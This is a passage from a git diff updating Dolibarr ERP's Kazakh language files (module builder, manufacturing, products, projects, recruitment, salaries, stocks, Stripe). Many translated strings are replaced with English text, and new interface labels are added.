      Теріс мәнді қолдану өріс тізімде әдепкі бойынша көрсетілмейді, бірақ оны қарау үшін таңдауға болады).

      Бұл өрнек болуы мүмкін, мысалы:
      preg_match ('/public/', $ _SERVER ['PHP_SELF'])? -DisplayOnPdfDesc=Бұл өрісті үйлесімді PDF құжаттарында көрсетіңіз, сіз позицияны «Позиция» өрісімен басқара аласыз.
      Қазіргі уақытта белгілі үйлесімді PDF модельдер болып табылады: eratosthene (бұйрық), espadon (кеме), жөке (шот-фактуралар), көгілдір (PROPAL / тырнақша), cornas (жеткізуші Тапсырыс)

      құжат үшін:
      0 =
      1 көрсетілді емес = құжат желілері үшін

      босатыңыз ғана емес, егер 2 = дисплейде
      дисплей:

      0 =
      1 = кейін сипаттамасы бағанда 4 = дисплейде
      сипаттамасы кейін желісі сипаттамасы бағанда 3 = дисплейде
      бағанда көрсетіледі көрсетіледі емес сипаттамасы бос болмаса -DisplayOnPdf=PDF форматында көрсету +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Тізімге жиынтық алу үшін өрістің мәні жинақталуы мүмкін бе? (Мысалдар: 1 немесе 0) SearchAllDesc=Өріс жылдам іздеу құралынан іздеу үшін пайдаланылады ма? (Мысалдар: 1 немесе 0) SpecDefDesc=Басқа қойындылармен анықталмаған модульмен қамтамасыз еткіңіз келетін барлық құжаттарды осында енгізіңіз. Сіз .md немесе жақсырақ, бай .asciidoc синтаксисін қолдана аласыз. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Белгілі бір редактордың URL меке UseSpecificFamily = Белгілі бір отбасын қолданыңыз UseSpecificAuthor = Белгілі бір авторды қолданыңыз UseSpecificVersion = Нақты бастапқы нұсқаны қолданыңыз -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Егер сіз мұны тексерсеңіз, жазбада «Құжатты жасау» жолағын қосу үшін кейбір код жасалады. -ShowOnCombobox=Комбокске мәнді көрсетіңіз +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Нұсқаулық үшін кілт CSSClass=Пішінді өңдеуге/жасауға арналған CSS CSSViewClass=Оқуға арналған CSS формасы CSSListClass=Тізімге арналған CSS NotEditable=Өңдеуге болмайды ForeignKey=Сыртқы кілт -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii - HTML түрлендіргіші AsciiToPdfConverter=Ascii - PDF түрлендіргіші TableNotEmptyDropCanceled=Кесте бос емес. Түсіру тоқтатылды. ModuleBuilderNotAllowed=Модуль құрастырушысы қол жетімді, бірақ сіздің пайдаланушыға рұқсат етілмеген. ImportExportProfiles=Профильдерді импорттау және экспорттау -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/kk_KZ/mrp.lang b/htdocs/langs/kk_KZ/mrp.lang index f3e1865ae88..e465ac9d1ef 100644 --- a/htdocs/langs/kk_KZ/mrp.lang +++ b/htdocs/langs/kk_KZ/mrp.lang @@ -11,8 +11,8 @@ Bom=Материалдық есепшоттар BillOfMaterials=Материалдық есеп BillOfMaterialsLines=Bill of Materials lines BOMsSetup=BOM модулін орнату -ListOfBOMs=Материалдық төлемдердің тізімі - БМ -ListOfManufacturingOrders=Өндірістік тапсырыстардың тізімі +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Жаңа материалдық шот ProductBOMHelp=Осы БОМ көмегімен жасауға (немесе бөлшектеуге) арналған өнім.
      Ескертпе: 'Өнімнің табиғаты' = 'Шикізат' қасиеті бар өнімдер бұл тізімде көрінбейді. BOMsNumberingModules=БОМ нөмірлеу үлгілері @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=%s есепшотын клондау керек ек ConfirmCloneMo=%s өндірістік тапсырысын клондау керек екеніне сенімдісіз бе? ManufacturingEfficiency=Өндіріс тиімділігі ConsumptionEfficiency=Тұтыну тиімділігі +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=0.95 мәні өндірілген өнімнің жоғалуының орташа 5%% білдіреді. DeleteBillOfMaterials=Материалды жою @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=%s бөлшектеуге болатын мөлшер ү ConfirmValidateMo=Бұл өндірістік тапсырысты растағыңыз келетініне сенімдісіз бе? ConfirmProductionDesc='%s' түймесін басу арқылы сіз белгіленген мөлшердегі тұтынуды және/немесе өндірісті тексересіз. Бұл сонымен қатар акцияларды жаңартады және акцияның қозғалысын жазады. ProductionForRef=%s өндірісі +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Егер тұтынылатын және өндірілетін мөлшерге қол жеткізілсе, Өндірістік тапсырысты автоматты түрде жабыңыз NoStockChangeOnServices=Қызметтерде акцияның өзгеруі жоқ ProductQtyToConsumeByMO=Өнім саны әлі де ашық MO тұтынуы керек @@ -80,6 +83,7 @@ ProductsToProduce=Өндірілетін өнімдер UnitCost=Бірлік құны TotalCost=Жалпы баға BOMTotalCost=Бұл тауарлық банкті өндіруге жұмсалатын шығындар әр өнім мен тұтынылатын өнімнің өзіндік құнына негізделеді (анықталған жағдайда өзіндік құн бағасы, егер анықталса орташа өлшенген баға, басқасы сатып алудың ең жақсы бағасы) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Өндірістік тапсырысты жабу үшін алдымен өндірісті бастауыңыз керек («%s» қойындысын қараңыз). Бірақ сіз одан бас тарта аласыз. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Жиынтықты МБ немесе МО -да қолдануға болмайды Workstation=Жұмыс станциясы @@ -107,3 +111,10 @@ THMEstimatedHelp=Бұл көрсеткіш объектінің болжамды BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/kk_KZ/products.lang b/htdocs/langs/kk_KZ/products.lang index 6ab839803da..475750c35d8 100644 --- a/htdocs/langs/kk_KZ/products.lang +++ b/htdocs/langs/kk_KZ/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Бұл өнім желісін шынымен жойғ ProductSpecial=Арнайы QtyMin=Мин. сатып алу көлемі PriceQtyMin=Баға саны мин. -PriceQtyMinCurrency=Осы бірлік үшін баға (валюта). (жеңілдік жоқ) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=ҚҚС мөлшерлемесі (осы сатушыға/өнімге) DiscountQtyMin=Бұл мөлшерге жеңілдік. NoPriceDefinedForThisSupplier=Бұл сатушыға/өнімге баға/мөлшер анықталмаған @@ -261,7 +262,7 @@ Quarter1=1 -ші. Тоқсан Quarter2=2 -ші. Тоқсан Quarter3=3 -ші. Тоқсан Quarter4=4 -ші. Тоқсан -BarCodePrintsheet=Штрих -кодты басып шығару +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Бұл құралдың көмегімен штрих -код жапсырмаларының парақтарын басып шығаруға болады. Жапсырма бетінің форматын, штрих -код түрін және штрих -код мәнін таңдаңыз, содан кейін %s түймесін басыңыз. NumberOfStickers=Бетте басып шығарылатын стикерлер саны PrintsheetForOneBarCode=Бір штрих -код үшін бірнеше жапсырманы басып шығарыңыз @@ -344,9 +345,9 @@ PossibleValues=Мүмкін мәндер GoOnMenuToCreateVairants=Атрибуттардың нұсқаларын дайындау үшін %s - %s мәзіріне өтіңіз (түстер, өлшемдер, ... сияқты) UseProductFournDesc=Тұтынушыларға арналған сипаттамадан басқа, жеткізушілер анықтайтын өнім сипаттамасын анықтау үшін мүмкіндікті қосыңыз (әрбір жеткізушіге сілтеме бойынша). ProductSupplierDescription=Өнімге сатушының сипаттамасы -UseProductSupplierPackaging=Жеткізуші бағасы бойынша қаптаманы қолданыңыз (жеткізуші құжаттарына жолды қосу/жаңарту кезінде жеткізуші бағасына сәйкес қаптамаға сәйкес мөлшерді қайта есептеңіз) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Қаптама -PackagingForThisProductDesc=Жеткізушінің тапсырысы бойынша сіз автоматты түрде осы мөлшерге (немесе осы санға еселік) тапсырыс бересіз. Сатып алудың минималды мөлшерінен төмен болуы мүмкін емес +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Желі саны жеткізушінің қаптамасына сәйкес қайта есептелді #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Әрекет өнімнің нұсқасын ProductsPricePerCustomer=Бір тұтынушыға өнім бағасы ProductSupplierExtraFields=Қосымша атрибуттар (жеткізуші бағасы) DeleteLinkedProduct=Комбинацияға қосылған еншілес өнімді жойыңыз -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Орташа баға PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge SwitchOnSaleStatus=Switch on sale status SwitchOnPurchaseStatus=Switch on purchase status +UpdatePrice=Increase/decrease customer price StockMouvementExtraFields= Extra Fields (stock mouvement) +InventoryExtraFields= Extra Fields (inventory) +ScanOrTypeOrCopyPasteYourBarCodes=Scan or type or copy/paste your barcodes +PuttingPricesUpToDate=Update prices with current known prices +PMPExpected=Expected PMP +ExpectedValuation=Expected Valuation +PMPReal=Real PMP +RealValuation=Real Valuation +ConfirmEditExtrafield = Select the extrafield you want modify +ConfirmEditExtrafieldQuestion = Are you sure you want to modify this extrafield? +ModifyValueExtrafields = Modify value of an extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/kk_KZ/projects.lang b/htdocs/langs/kk_KZ/projects.lang index 6e3cab5d57c..bdd8463cfb3 100644 --- a/htdocs/langs/kk_KZ/projects.lang +++ b/htdocs/langs/kk_KZ/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Бұл көрініс сізге оқуға рұқсат еті TasksDesc=Бұл көрініс барлық жобалар мен тапсырмаларды ұсынады (сіздің пайдаланушы рұқсаттары сізге бәрін қарауға рұқсат береді). AllTaskVisibleButEditIfYouAreAssigned=Білікті жобалар үшін барлық тапсырмалар көрінеді, бірақ сіз тек таңдалған пайдаланушыға берілген тапсырма үшін уақытты енгізе аласыз. Егер уақытты енгізу қажет болса, тапсырма беріңіз. OnlyYourTaskAreVisible=Сізге берілген тапсырмалар ғана көрінеді. Егер сізге тапсырмаға уақытты енгізу қажет болса және егер тапсырма мұнда көрінбесе, онда сіз тапсырманы өзіңізге тағайындауыңыз керек. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Жобалардың міндеттері ProjectCategories=Жоба тегтері/санаттары NewProject=Жаңа жоба @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Мәртебесі бойынша ашық OpportunitiesStatusForProjects=Мәртебесі бойынша жобалардың жетекші саны ShowProject=Жобаны көрсету ShowTask=Тапсырманы көрсету +SetThirdParty=Set third party SetProject=Жобаны орнату +OutOfProject=Out of project NoProject=Ешқандай жоба анықталмаған немесе тиесілі емес NbOfProjects=Жобалар саны NbOfTasks=Тапсырмалар саны @@ -122,7 +125,8 @@ ValidateProject=Жобаны тексеру ConfirmValidateProject=Бұл жобаны растағыңыз келетініне сенімдісіз бе? CloseAProject=Жобаны жабу ConfirmCloseAProject=Бұл жобаны шынымен де жапқыңыз келе ме? -AlsoCloseAProject=Жобаны жабыңыз (егер сіз әлі де өндірістік тапсырмаларды орындауыңыз керек болса, оны ашық ұстаңыз) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Ашық жоба ConfirmReOpenAProject=Бұл жобаны қайта ашқыңыз келетініне сенімдісіз бе? ProjectContact=Жобаның контактілері @@ -165,7 +169,7 @@ OpportunityProbability=Қорғасын ықтималдығы OpportunityProbabilityShort=Қорғасын зонд. OpportunityAmount=Қорғасын сомасы OpportunityAmountShort=Қорғасын сомасы -OpportunityWeightedAmount=Мүмкіндіктердің өлшенген сомасы +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Опп. өлшенген сома OpportunityAmountAverageShort=Жеткізудің орташа мөлшері OpportunityAmountWeigthedShort=Қорғасынның өлшенген мөлшері @@ -238,7 +242,7 @@ OppStatusPENDING=Күтуде OppStatusWON=Жеңді OppStatusLOST=Жоғалды Budget=Бюджет -AllowToLinkFromOtherCompany=Басқа компаниядан жобаны байланыстыруға рұқсат беру үтірмен бөлінген үшінші тарап идентификаторлары: осы үшінші тараптардың барлық жобаларын байланыстыра алады (Мысал: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=%s соңғы жобалары LatestModifiedProjects=Соңғы %s өзгертілген жобалар OtherFilteredTasks=Басқа сүзгіленген тапсырмалар @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Пайданың көмегімен есептеледі AddPersonToTask=Сонымен қатар тапсырмаларға қосыңыз UsageOrganizeEvent=Қолданылуы: іс -шараны ұйымдастыру PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Жобаны барлық тапсырмалар аяқталған кезде жабық деп жіктеу (100%% барысы) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Ескерту: 100%% барлық тапсырмалары бар қолданыстағы жобаларға әсер етпейді: оларды қолмен жабуға тура келеді. Бұл опция тек ашық жобаларға әсер етеді. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Есепке алынбаған уақытты таңдаңыз, содан кейін оларды есепке алу үшін «Шот -фактураны құру» жаппай әрекетін таңдаңыз ProjectTasksWithoutTimeSpent=Project tasks without time spent FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. diff --git a/htdocs/langs/kk_KZ/recruitment.lang b/htdocs/langs/kk_KZ/recruitment.lang index 27eba930a63..0f4d4395473 100644 --- a/htdocs/langs/kk_KZ/recruitment.lang +++ b/htdocs/langs/kk_KZ/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Электрондық пошта жалдаушы ToUseAGenericEmail=Жалпы электрондық поштаны пайдалану үшін. Егер анықталмаса, жұмысқа қабылдауға жауапты адамның электрондық поштасы қолданылады NewCandidature=Жаңа қосымша ListOfCandidatures=Өтінімдер тізімі -RequestedRemuneration=Сыйақы сұралды -ProposedRemuneration=Ұсынылған сыйақы +Remuneration=Salary +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Ұсынылған келісім ContractSigned=Шартқа қол қойылды ContractRefused=Келісімшарт бас тартты RecruitmentCandidature=Қолдану JobPositions=Жұмыс орындары RecruitmentCandidatures=Қолданбалар -InterviewToDo=Сұхбаттасу +InterviewToDo=Contacts to follow AnswerCandidature=Қолданбалы жауап YourCandidature=Сіздің өтініміңіз YourCandidatureAnswerMessage=Өтінішіңізге рахмет.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=Жұмыс орны жабық. ExtrafieldsJobPosition=Қосымша атрибуттар (лауазымдар) ExtrafieldsApplication=Қосымша атрибуттар (жұмысқа өтініш) MakeOffer=Ұсыныс жасаңыз +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/kk_KZ/salaries.lang b/htdocs/langs/kk_KZ/salaries.lang index 8e9122593d3..728da39846b 100644 --- a/htdocs/langs/kk_KZ/salaries.lang +++ b/htdocs/langs/kk_KZ/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Бухгалтерлік есептік жазба үшінші пайдаланушыларға қолданылады -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Пайдаланушы карточкасында анықталған арнайы есеп шоты тек қосалқы есепке алу үшін қолданылады. Егер ол пайдаланушының арнайы есептік жазбасы анықталмаса, бұл Бас кітап үшін және қосалқы есепке алудың әдепкі мәні ретінде пайдаланылады. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Жалақы төлеу үшін әдепкі бойынша бухгалтерлік есеп CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Әдепкі бойынша, жалақыны құру кезінде «Жалпы төлемді автоматты түрде жасау» опциясын бос қалдырыңыз Salary=Жалақы @@ -24,3 +24,4 @@ SalariesStatistics=Жалақы статистикасы SalariesAndPayments=Жалақы мен төлемдер ConfirmDeleteSalaryPayment=Бұл жалақы төлемін жойғыңыз келе ме? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/kk_KZ/stocks.lang b/htdocs/langs/kk_KZ/stocks.lang index ecdae9e4e8d..feae7346646 100644 --- a/htdocs/langs/kk_KZ/stocks.lang +++ b/htdocs/langs/kk_KZ/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Болашақтағы күн StocksByLotSerial=Лот/серия бойынша акциялар LotSerial=Лоттар/сериялар LotSerialList=Лоттар/сериялардың тізімі +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=Қозғалыстар ErrorWarehouseRefRequired=Қойманың анықтамалық атауы қажет ListOfWarehouses=Қоймалар тізімі @@ -48,7 +49,7 @@ StockCorrection=Қорды түзету CorrectStock=Дұрыс қор StockTransfer=Акцияны аудару TransferStock=Акцияны аудару -MassStockTransferShort=Акцияны жаппай тасымалдау +MassStockTransferShort=Bulk stock change StockMovement=Акциялар қозғалысы StockMovements=Акциялар қозғалысы NumberOfUnit=Бірліктер саны @@ -146,8 +147,9 @@ Replenishments=Толықтырулар NbOfProductBeforePeriod=Таңдалған мерзімге дейінгі қорда бар %s өнімінің саны (<%s) NbOfProductAfterPeriod=Таңдалған кезеңнен кейін қоймада бар %s өнімінің саны (> %s) MassMovement=Жаппай қозғалыс -SelectProductInAndOutWareHouse=Бастапқы қойма мен мақсатты қойманы, өнім мен мөлшерді таңдап, «%s» түймесін басыңыз. Бұл барлық қажетті қозғалыстар үшін жасалғаннан кейін, «%s» түймесін басыңыз. +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Жазбаны аудару +RecordMovements=Record stock movements ReceivingForSameOrder=Бұл тапсырыстың түбіртектері StockMovementRecorded=Акциялардың қозғалысы тіркелді RuleForStockAvailability=Акцияларға қойылатын талаптар туралы ережелер @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=Дабылдар мен қалаған оңтайл ProductStockWarehouseUpdated=Дабыл жаңартылған және қалаған оңтайлы акцияларға арналған қор шегі дұрыс жаңартылды ProductStockWarehouseDeleted=Ескертулер мен қалаған оптималды қорлар үшін шектеулер дұрыс жойылды AddNewProductStockWarehouse=Ескерту мен қалаған оңтайлы қор үшін жаңа шектеу қойыңыз -AddStockLocationLine=Саны азайтыңыз, содан кейін осы өнімге басқа қойма қосу үшін басыңыз +AddStockLocationLine=Decrease quantity then click to split the line InventoryDate=Түгендеу күні Inventories=Inventories NewInventory=Жаңа инвентарь @@ -234,7 +236,7 @@ StockIncrease=Акциялардың көбеюі StockDecrease=Акцияның төмендеуі InventoryForASpecificWarehouse=Белгілі бір қойма үшін инвентаризация InventoryForASpecificProduct=Белгілі бір өнімге арналған инвентаризация -StockIsRequiredToChooseWhichLotToUse=Қандай лот қолданылатынын таңдау үшін акция қажет +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=Мәжбүрлеу AlwaysShowFullArbo=Қойма сілтемелерінің қалқымалы терезесінде қойманың толық ағашын көрсету (Ескерту: Бұл өнімділікті күрт төмендетуі мүмкін) StockAtDatePastDesc=Сіз мұнда акцияларды (нақты акцияларды) бұрын берілген күні көре аласыз @@ -254,7 +256,7 @@ ReOpen=Қайта ашу ConfirmFinish=Сіз түгендеудің жабылғанын растайсыз ба? Бұл сіздің акцияңызды инвентаризацияға енгізілген нақты мөлшерге дейін жаңарту үшін барлық акция қозғалысын тудырады. ObjectNotFound=%s табылмады MakeMovementsAndClose=Қозғалыс жасаңыз және жабыңыз -AutofillWithExpected=Replace real quantity with expected quantity +AutofillWithExpected=Fill real quantity with expected quantity ShowAllBatchByDefault=Әдепкі бойынша, өнімнің «қор» қойындысында пакеттік мәліметтерді көрсетіңіз CollapseBatchDetailHelp=Сіз пакеттер модулінің конфигурациясында пакеттік егжей -тегжейлі дисплейді орната аласыз ErrorWrongBarcodemode=Штрихкод режимі белгісіз @@ -265,9 +267,53 @@ ProductBarcodeDoesNotExist=Штрих -коды бар өнім жоқ WarehouseId=Warehouse ID WarehouseRef=Warehouse Ref SaveQtyFirst=Save the real inventoried quantities first, before asking creation of the stock movement. +ToStart=Start InventoryStartedShort=Started ErrorOnElementsInventory=Operation canceled for the following reason: ErrorCantFindCodeInInventory=Can't find the following code in inventory QtyWasAddedToTheScannedBarcode=Success !! The quantity was added to all the requested barcode. You can close the Scanner tool. -StockChangeDisabled=Change on stock disabled +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=No warehouse defined for terminal +ClearQtys=Clear all quantities +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/kk_KZ/stripe.lang b/htdocs/langs/kk_KZ/stripe.lang index 26444a93d5a..d4e578af492 100644 --- a/htdocs/langs/kk_KZ/stripe.lang +++ b/htdocs/langs/kk_KZ/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook тірі кілті ONLINE_PAYMENT_WAREHOUSE=
      (TODO) Акцияны төмендету опциясы шот -фактура бойынша жасалса және онлайн төлем өзі шот -фактураны шығаратын болса, акцияның төмендеуі үшін пайдаланылатын акция. StripeLiveEnabled=Stripe live қосылған (әйтпесе тест/құм жәшігі режимі) StripeImportPayment=Stripe төлемдерін импорттау -ExampleOfTestCreditCard=Сынақ үшін несие картасының мысалы: %s => жарамды, %s => CVC қатесі, %s => мерзімі өтіп кетті, %s => заряд сәтсіз +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Жолақты шлюздер OAUTH_STRIPE_TEST_ID=Stripe Connect клиент идентификаторы (шамамен _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect клиент идентификаторы (шамамен _...) @@ -61,6 +62,7 @@ DeleteACard=Картаны жою ConfirmDeleteCard=Бұл несиелік немесе дебеттік картаны шынымен жойғыңыз келе ме? CreateCustomerOnStripe=Stripe -де тұтынушы жасаңыз CreateCardOnStripe=Stripe картасын жасаңыз +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Stripe -те көрсету StripeUserAccountForActions=Кейбір Stripe оқиғалары туралы электрондық пошта арқылы хабарландыру үшін қолданылатын пайдаланушы тіркелгісі (Stripe төлемдері) StripePayoutList=Stripe төлемдерінің тізімі @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=IPN -ге қоңырау шалу үшін Stripe Web PaymentWillBeRecordedForNextPeriod=Төлем келесі кезеңге жазылады. ClickHereToTryAgain= Қайталап көру үшін мына жерді басыңыз ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Клиенттердің аутентификациясының күшті ережелеріне байланысты картаны 